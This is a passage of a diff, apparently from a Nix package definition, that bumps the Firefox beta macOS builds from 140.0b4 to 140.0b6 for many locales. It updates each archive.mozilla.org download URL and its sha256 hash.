+      sha256 = "cd0326af92ca17e5121c916edfe10e913ec39d8ccd16c079207effa7d4aaab75";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/eo/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/eo/Firefox%20140.0b6.dmg";
       locale = "eo";
       arch = "mac";
-      sha256 = "287ecfcbed7e32717ee2fc2940f40ec38612a14965f6c24ee6c48aaf9e2d3dac";
+      sha256 = "92e1280e109c947c297a6047b975972af21ac979a39f75b6e9f0a7b05896560d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-AR/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-AR/Firefox%20140.0b6.dmg";
       locale = "es-AR";
       arch = "mac";
-      sha256 = "f0ab0790375fb20a4b99ee6fd99af0191442ef8d251711bed2796f4dd6fd8caf";
+      sha256 = "7cceac00533262e4736748a4ce273aca2676e99e4c52ecf667e421994e9f8b25";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-CL/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-CL/Firefox%20140.0b6.dmg";
       locale = "es-CL";
       arch = "mac";
-      sha256 = "26154d26c371d0de08f5e5bef5661972b6b13c4e94e285d51cf776fc77c4300e";
+      sha256 = "a06a0de4c99dd388ea23b37c845a2861a5fe5e0f0e9d303ee86eb01aef4e392a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-ES/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-ES/Firefox%20140.0b6.dmg";
       locale = "es-ES";
       arch = "mac";
-      sha256 = "921969d77ee23e539e68a079742bfca9bd0a749af53befc3b42849ee9abf0b34";
+      sha256 = "05761e789f9c61f4bc8749bbc584bc64fcb07d0c2c8b18a27b8b4459b5a80621";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/es-MX/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/es-MX/Firefox%20140.0b6.dmg";
       locale = "es-MX";
       arch = "mac";
-      sha256 = "9dbe72025242d5510d023c190c38c5966ca986f0b06200e3797e06da48c67a93";
+      sha256 = "c688be8725af8d5b8ab9a81f9dbb4ca5255a8578fe759d46f602b4ba13e445d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/et/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/et/Firefox%20140.0b6.dmg";
       locale = "et";
       arch = "mac";
-      sha256 = "4e4895663ae7c07d9bcb8c56478cb7a07e8573acee7cc1f451ed777b1fd2776b";
+      sha256 = "6dd742ab79ea9d0653f4096a63d6fcea9f142707fbaf5eef8dc0c8cb8070baf3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/eu/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/eu/Firefox%20140.0b6.dmg";
       locale = "eu";
       arch = "mac";
-      sha256 = "1e0ce31608914502e0101246e059da95f83f05303f5a6b2646e7595e0b008bd9";
+      sha256 = "64c3c50a965bf153482e1ab9a78384be231f58051b66cdb9bb790f4cccc6b171";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fa/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fa/Firefox%20140.0b6.dmg";
       locale = "fa";
       arch = "mac";
-      sha256 = "529cc279815596836eeee0240db66fc3b4132d5d462c58a8caf0d3cfc6777f1e";
+      sha256 = "c5b677703e9eb533987b7371d4f4de7654df9d415958f1216ca0287d5bc24f8e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ff/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ff/Firefox%20140.0b6.dmg";
       locale = "ff";
       arch = "mac";
-      sha256 = "1aff9b2159f017763c1c3add776bee0b13d30e56c5d89b1364b9ad362a5c8b73";
+      sha256 = "e4f6751e5eca0f69c303da861cbd150e7af6fddeeaeab1caf3934dd73adb6a91";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fi/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fi/Firefox%20140.0b6.dmg";
       locale = "fi";
       arch = "mac";
-      sha256 = "a70fdfb3abb400bf51d186d8c4a609f25ee0da2d29d9c26f93a1cdfc7b755c47";
+      sha256 = "3892f17ad12fa9347a2650c152aa19e5b6b5ec79f21bcd28a641261925bc8976";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fr/Firefox%20140.0b6.dmg";
       locale = "fr";
       arch = "mac";
-      sha256 = "f7f6396a4a0a892db2e566f35c41d2b327956d4a7afa137c559c06a237f2e040";
+      sha256 = "3462880c9f1f48ab6976d507727b7e3d7d0e86c0eddef198e426a7ce3f9e4659";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fur/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fur/Firefox%20140.0b6.dmg";
       locale = "fur";
       arch = "mac";
-      sha256 = "c863d7680e463d3948316b98bcdfc17b9dc2e72012fb7d8d242789271b94b581";
+      sha256 = "7b00ba6b6eb8fe2f04a2411c9e1e764afa49e2d6d8b183eee0bbdc97e017922a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/fy-NL/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/fy-NL/Firefox%20140.0b6.dmg";
       locale = "fy-NL";
       arch = "mac";
-      sha256 = "6dac9e3b8abbc4667041767b43229188ec1a47244189ff0c742220bfc14ed298";
+      sha256 = "e115dce3ec12cad902029ccb060cd56a258524cfb797bb3aff5645221c192c3d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ga-IE/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ga-IE/Firefox%20140.0b6.dmg";
       locale = "ga-IE";
       arch = "mac";
-      sha256 = "2974969a324c77ec27ac89e769891b56bc4a89ddeaf3bc049fad077d38b3de76";
+      sha256 = "25c3a1ff61afd4d0ca9ccb2d5d5d1a7a8f224c2cbc7f9aa00b48248c32ea64fc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gd/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gd/Firefox%20140.0b6.dmg";
       locale = "gd";
       arch = "mac";
-      sha256 = "c9177b756cc02ff1c708bc7f13516c8794ec871589a0838df5681dd14611b717";
+      sha256 = "481725f402a7b0970ca3d5d535a75d3198da2eeac41c2cfae24f99ee0c3ed5bb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gl/Firefox%20140.0b6.dmg";
       locale = "gl";
       arch = "mac";
-      sha256 = "3625754df8b228d7f8b51bbafdddc6648c4b7b78d16d287fd6c648bde449e899";
+      sha256 = "4294ffc7380aec2e1c2e65475fcdff5159b8ee53fd4e806d60112ccfdd1d0df2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gn/Firefox%20140.0b6.dmg";
       locale = "gn";
       arch = "mac";
-      sha256 = "b2e5bdb585f18fbc0933a4b782edcd08513d606afb1d2686705ee7fabf66987d";
+      sha256 = "5ecd0e96fb453c2ba66deea4550f21d5f8fd350f4d688a3b5962a0198a84a3a9";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/gu-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/gu-IN/Firefox%20140.0b6.dmg";
       locale = "gu-IN";
       arch = "mac";
-      sha256 = "7e0a44037cbf60148bec07d2c8f0bf78079b80692da2230ae2158a090d48b785";
+      sha256 = "f47ad848401f16be4d0b8dd8081ce53d9173cd856b68de2c98c4c611a8dbb4de";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/he/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/he/Firefox%20140.0b6.dmg";
       locale = "he";
       arch = "mac";
-      sha256 = "920ade68106d20857e5af7b064c3d97d8661818be36bada7a21d6f89682db91a";
+      sha256 = "d2a83af6f008ac9753ab19cc6169c0bccc5a3d7999c396bb96bfd81db6959790";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hi-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hi-IN/Firefox%20140.0b6.dmg";
       locale = "hi-IN";
       arch = "mac";
-      sha256 = "cbdfb08d1cde45a370bde21191eb901c1b7a9e08bcf29c94fbe728182a8c2992";
+      sha256 = "210b0d9c78cec2cb72eaa070bfe814cfeadddadef4fdf11840396e94c4c4174a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hr/Firefox%20140.0b6.dmg";
       locale = "hr";
       arch = "mac";
-      sha256 = "7b3c21df86b3cc960cfcb948284f042b68e367f8b3a28ffcadb7258a8538d6ee";
+      sha256 = "16b7bcff84e6f5dafef18f3cb1e392b60220c23318b74755de13970f05c62edb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hsb/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hsb/Firefox%20140.0b6.dmg";
       locale = "hsb";
       arch = "mac";
-      sha256 = "0dddbcdd417f10b2d2e576346c313dd325b170cebb478827ee3f19154aa2e3f4";
+      sha256 = "874ad72bcef64fc6a89026a67895e13510b1230ed4df3445e1dada090724315a";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hu/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hu/Firefox%20140.0b6.dmg";
       locale = "hu";
       arch = "mac";
-      sha256 = "6aa34847a12eab43aa04ca1ee27c5edd5562a5e916fe47a64a5a469b46201e3e";
+      sha256 = "a82849f2244b6d0662566f3ee25bc4c277d91a703635bbe41a7bc63c60e8f239";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/hy-AM/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/hy-AM/Firefox%20140.0b6.dmg";
       locale = "hy-AM";
       arch = "mac";
-      sha256 = "4f723e805556cca933b97981871c1e1408cfbd766b15037981af9deddd041fb1";
+      sha256 = "abb9561be5a12506d7a077936753f83bc234b3f160e26225757e1c0bbfecda73";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ia/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ia/Firefox%20140.0b6.dmg";
       locale = "ia";
       arch = "mac";
-      sha256 = "9ad43eff14c069d7ef7f27e2b47fd4713af832410c579868293ee7f78cc8c07b";
+      sha256 = "52835ece73d0f34ec410d2f6c6240fc7d0860d6b055a4a0a19be71e39c68e759";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/id/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/id/Firefox%20140.0b6.dmg";
       locale = "id";
       arch = "mac";
-      sha256 = "3176ea295423ecd71a466a79e9657fea751e6d8c71db66a0709168556f8eae45";
+      sha256 = "5c6a886706bb6b27c717af90a20fc1d694748ad8cfe568eaf374dffb872a6c0b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/is/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/is/Firefox%20140.0b6.dmg";
       locale = "is";
       arch = "mac";
-      sha256 = "9cf0acbdb7c99914542941333fd1fbe108fed41f46af9fbefaf0a480adc0564b";
+      sha256 = "9707fec98234f35621fec0a43b4410eed814064126d701d76b520188b5f47dfb";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/it/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/it/Firefox%20140.0b6.dmg";
       locale = "it";
       arch = "mac";
-      sha256 = "5e345715eba89bc244e16c73dacc522a3b83e9ec3f99ae072945b18cfa904f5a";
+      sha256 = "dc7b193ad74003a206ea2bc681837c175de45322be21d395b75062fb227cef2b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ja-JP-mac/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ja-JP-mac/Firefox%20140.0b6.dmg";
       locale = "ja-JP-mac";
       arch = "mac";
-      sha256 = "308d2c19609ed3874fe8cd3619602d606356ed55c4ca0f1fca1dede932c19e79";
+      sha256 = "aa4c38ccbe19b139465acfb54984ff5076ee596b562b51f2cbe522fff14c4527";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ka/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ka/Firefox%20140.0b6.dmg";
       locale = "ka";
       arch = "mac";
-      sha256 = "d0ebffe428b05422977dac4bf3380c3e57a0ed42d7a4110699ec4b92fe168bce";
+      sha256 = "e1402e34d8a455d9f2473a81ba853e5fb369581ecc329d296115ddb33967875d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kab/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kab/Firefox%20140.0b6.dmg";
       locale = "kab";
       arch = "mac";
-      sha256 = "e0002e9e16c91d5b8a9ea7d3de83799bbd77e6c23aee05759052e8d6303e01bd";
+      sha256 = "1575a80d66865bdea6e972aada77795c07e74dbebd92b30f3fa32a229f0a487c";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kk/Firefox%20140.0b6.dmg";
       locale = "kk";
       arch = "mac";
-      sha256 = "efff905c517fbdb1b3a1171b3114790cda03acb4002c9653070092149b92bc8d";
+      sha256 = "fa2d1f2d2deeaf1d095b3ae32b90394763a326c724455e8bb644c21d7cb31b61";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/km/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/km/Firefox%20140.0b6.dmg";
       locale = "km";
       arch = "mac";
-      sha256 = "473c31374b6d982e61d75cb3974e20bcbd13c4613bcfddfea50aa43418903f54";
+      sha256 = "849d0e8f1a42faf78440f331cc3b77e85e4e3a75e4a8d3e31609a14904644ce3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/kn/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/kn/Firefox%20140.0b6.dmg";
       locale = "kn";
       arch = "mac";
-      sha256 = "9436efdd09ef9eaaf104d90426cb091e1bc217468bd66cffcb7d91f8d2758f07";
+      sha256 = "2aeb6d55236f0b89756f4dd496a53f972ec8c24c8c52db4aefbdbbad7747fd52";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ko/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ko/Firefox%20140.0b6.dmg";
       locale = "ko";
       arch = "mac";
-      sha256 = "9973a287baaa00930831a865beb370faee052f7ea486c728f2ed13060ff3280c";
+      sha256 = "c007683b92b34d34b305aa998f59d0d9affc4e07ecc3848576fa065922e6a97b";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lij/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lij/Firefox%20140.0b6.dmg";
       locale = "lij";
       arch = "mac";
-      sha256 = "f4c9678e933e440751b97f35b6e04941d9ce76b5869d45748b91df8336155274";
+      sha256 = "6792e8affd2b4b240663b34f983c3467942e7f6a4135ae27da9fd3632d39ae92";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lt/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lt/Firefox%20140.0b6.dmg";
       locale = "lt";
       arch = "mac";
-      sha256 = "ddb021dca21e65e30012aab734d160118b26c3542fc3afff2db857dbda216221";
+      sha256 = "514e98aa37a819951b35c8e3c0cb57045deaf2d1a24d0f0bccbecf89d3e0b6a1";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/lv/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/lv/Firefox%20140.0b6.dmg";
       locale = "lv";
       arch = "mac";
-      sha256 = "f63120daedf1ea0648de93f9178db541fed0144508ad5fddb3e512f32369c3b0";
+      sha256 = "2a254dafd7c4bbe05c0855347f620e95188a49e4336363c90fa17959e1b610a3";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/mk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/mk/Firefox%20140.0b6.dmg";
       locale = "mk";
       arch = "mac";
-      sha256 = "9501890bd79ddda990d8023a787efda67acb7d42e5283bd354ecd89d7a5e5546";
+      sha256 = "2af405b2012bc0641c2e4eece36f7c5282b38315b052998138a5ed36dd11f5f6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/mr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/mr/Firefox%20140.0b6.dmg";
       locale = "mr";
       arch = "mac";
-      sha256 = "ba43292eb30482a03f83a4fde41e63accf37ea30b89fc8b4350a2ddf94572af0";
+      sha256 = "304b360bb71fa4071a05fc0bb3142a231e9f500da09a8e442c0848fcac99fd4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ms/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ms/Firefox%20140.0b6.dmg";
       locale = "ms";
       arch = "mac";
-      sha256 = "84ce117ea9b6703b743d70c85dcb679bfdf3652d5f2e5d765f4437873a979223";
+      sha256 = "5e4c5e3a6e5fd45c2653b54d3b6174e99511aa9e20b976dc21af048036066bd4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/my/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/my/Firefox%20140.0b6.dmg";
       locale = "my";
       arch = "mac";
-      sha256 = "ed8c07f47e46998bf072d6d0db2a677326bb56e55d56197ded040b34cbc4a63d";
+      sha256 = "ecb541b9ca27ea7d879941fef632bd8ba4d576503291d74abb507dd9041f44d4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nb-NO/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nb-NO/Firefox%20140.0b6.dmg";
       locale = "nb-NO";
       arch = "mac";
-      sha256 = "676be48e68f893f271c5db650d11cd17bf323157907e2176a76d97053d9a35c4";
+      sha256 = "4909f39237eb6480cd188bd87012a95cb33435fd5a98c0baf82567ea9020a8d0";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ne-NP/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ne-NP/Firefox%20140.0b6.dmg";
       locale = "ne-NP";
       arch = "mac";
-      sha256 = "fdc56c722f0509cc1f99bf4d7759faedfdb8d5f74ebbc41fd604cbc85f5de4ab";
+      sha256 = "464e6346b517c62c00bca230af7d6f9ae996677f450776530c51046e4d21f750";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nl/Firefox%20140.0b6.dmg";
       locale = "nl";
       arch = "mac";
-      sha256 = "f908f97357b129f8ddd56da82b17da273dabab6fec022823bea2976645331860";
+      sha256 = "4bfcd05169003a8bfd3276860b8c6162dfe91c515b4e014bdb14783aa110390f";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/nn-NO/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/nn-NO/Firefox%20140.0b6.dmg";
       locale = "nn-NO";
       arch = "mac";
-      sha256 = "3d38846a8f6ee404b6f5e55121f3c6a40b278cb4a224859c95e191f614741cfe";
+      sha256 = "7cc8e377ae8db78e84cc3e7de5a8477902d8dd331df1c63380b607f7e660a3bc";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/oc/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/oc/Firefox%20140.0b6.dmg";
       locale = "oc";
       arch = "mac";
-      sha256 = "c2db065e02821b6abe15a8448bf45f07ab842ccb3d14504f52ff15cdcf786879";
+      sha256 = "428788ef0bdf30d681924a9a581581ba63fdd2bd8152b3b33e020b9db2f298d7";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pa-IN/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pa-IN/Firefox%20140.0b6.dmg";
       locale = "pa-IN";
       arch = "mac";
-      sha256 = "f6774c2c7f78362beef99450be1865f5ab9a0681fd41a18403e916c31c9538b4";
+      sha256 = "2cc98f9a1b36ba958be93784731a629b535b5c310b4ed7dd3c979cc543076288";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pl/Firefox%20140.0b6.dmg";
       locale = "pl";
       arch = "mac";
-      sha256 = "cc14ee424433ab322b17058ea8719ba9368ff5e7a91d2f691a92dc1d13964f11";
+      sha256 = "43ab0fdd7d995d4c60d962c3db5f1907a4f8ae8f5bbf9401a96b424d458cee48";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pt-BR/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pt-BR/Firefox%20140.0b6.dmg";
       locale = "pt-BR";
       arch = "mac";
-      sha256 = "20db9ade31f00b3aae5fcb9fe71d63c31d31520f31a0e87644b34cc0a8c928bb";
+      sha256 = "b469cbd87a88d09fae83f8b2ba395ebc468935b6beb7db8b83bcb1f47396ff4e";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/pt-PT/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/pt-PT/Firefox%20140.0b6.dmg";
       locale = "pt-PT";
       arch = "mac";
-      sha256 = "15d5a45a13311a67f86fb9814e1ac49f5090933f1110ca0ccc1f5bf51d4312e9";
+      sha256 = "31e3ad58f6790f04383bd0e32c530cea7559d8234a1faa234a40405181ada782";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/rm/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/rm/Firefox%20140.0b6.dmg";
       locale = "rm";
       arch = "mac";
-      sha256 = "07452f83b2a572e0c536e0a08aec5146aca7fef1a162d0d14ce49aa4b2032fae";
+      sha256 = "c5f25f30d5f12576711457bc884ba679ac790108c3db1ee70b307205b6875cf4";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ro/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ro/Firefox%20140.0b6.dmg";
       locale = "ro";
       arch = "mac";
-      sha256 = "98500565dda18961b9e35a4ed0a16a0c7cec95a72bfcfc43c86b4f31a32e1074";
+      sha256 = "a3a266d6889610681ac0b4f5226190aa7ef64df557bf69df17a0e8ab9cc336f8";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/ru/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/ru/Firefox%20140.0b6.dmg";
       locale = "ru";
       arch = "mac";
-      sha256 = "f85319ac38fb8be330bb80e6b1e5fc781d8aad2f8a6a300e1c85916f0baf7c62";
+      sha256 = "017954fc938efc470dffb50141944b041958a50c79fd24f6172a180db46e2078";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sat/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sat/Firefox%20140.0b6.dmg";
       locale = "sat";
       arch = "mac";
-      sha256 = "5cc725cf1112960bccdee3d5f8ffb1a8fa7d62cdb50aeeea5becff34bd971320";
+      sha256 = "75d42a50eb3526478cd966e0327733426b74e5159733527f34afee1cc1de2596";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sc/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sc/Firefox%20140.0b6.dmg";
       locale = "sc";
       arch = "mac";
-      sha256 = "7770966f953067fd4170aeb4bc0d3be8deb405f74e2129abca7253e792f69b3c";
+      sha256 = "53946a3f22d87ea274b3ea737150a6f80095a6be9b158ebe2f287739a7835732";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sco/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sco/Firefox%20140.0b6.dmg";
       locale = "sco";
       arch = "mac";
-      sha256 = "e10ae6867387b2306b2ceb74e136d28ca332a9573d2d16d10ea8d4ccde9cf85d";
+      sha256 = "9dda7a42af7a7a04b0301f2fc528cf908da7612d5cab43dc8dbb094e4d5faee2";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/si/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/si/Firefox%20140.0b6.dmg";
       locale = "si";
       arch = "mac";
-      sha256 = "d3e02db688b3093c05b7efdaadcef600f956a614572504489e4d69cc975c8a08";
+      sha256 = "d7bb27ea910c83d42522f57dd1da9212a3294aa3850aebaac2695d38e46f4ef6";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sk/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sk/Firefox%20140.0b6.dmg";
       locale = "sk";
       arch = "mac";
-      sha256 = "28b1b6fa00da50a5717bdf35bd98af2ed217fcb6d6f782865d7d9bd0acbeb7c1";
+      sha256 = "dde7bb699ca39a97b8a9d6438df6bc352c51dad20b5981dfe38251cc269dc7f5";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/skr/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/skr/Firefox%20140.0b6.dmg";
       locale = "skr";
       arch = "mac";
-      sha256 = "fd1ad12da34e3bbbb9fdfcd64c2369a3b26ea9f6ec034673fcf0235d8627765d";
+      sha256 = "eebc4cdbdd6676ccdcf8b180ce7c2682b9f8e7350e79a24564e34cfa1607b4cf";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/sl/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/sl/Firefox%20140.0b6.dmg";
       locale = "sl";
       arch = "mac";
-      sha256 = "1b418886de3282ff93ee5ccce0e359b5c5d94de3a3cf6fc85f5342d9f18e80ad";
+      sha256 = "7c2ea1dca6b8d9cf2bfa1dd6293a6b348e6ab18a100b406f5d3a30c71f1b2e7d";
     }
     {
-      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b4/mac/son/Firefox%20140.0b4.dmg";
+      url = "https://archive.mozilla.org/pub/firefox/releases/140.0b6/mac/son/Firefox%20140.0b6.dmg";
       locale = "son";
       arch = "mac";
-      sha256 = "ab8f032f880c20a83bd6e4a64740122567a48084ab973ec4f708539009d8afdf";
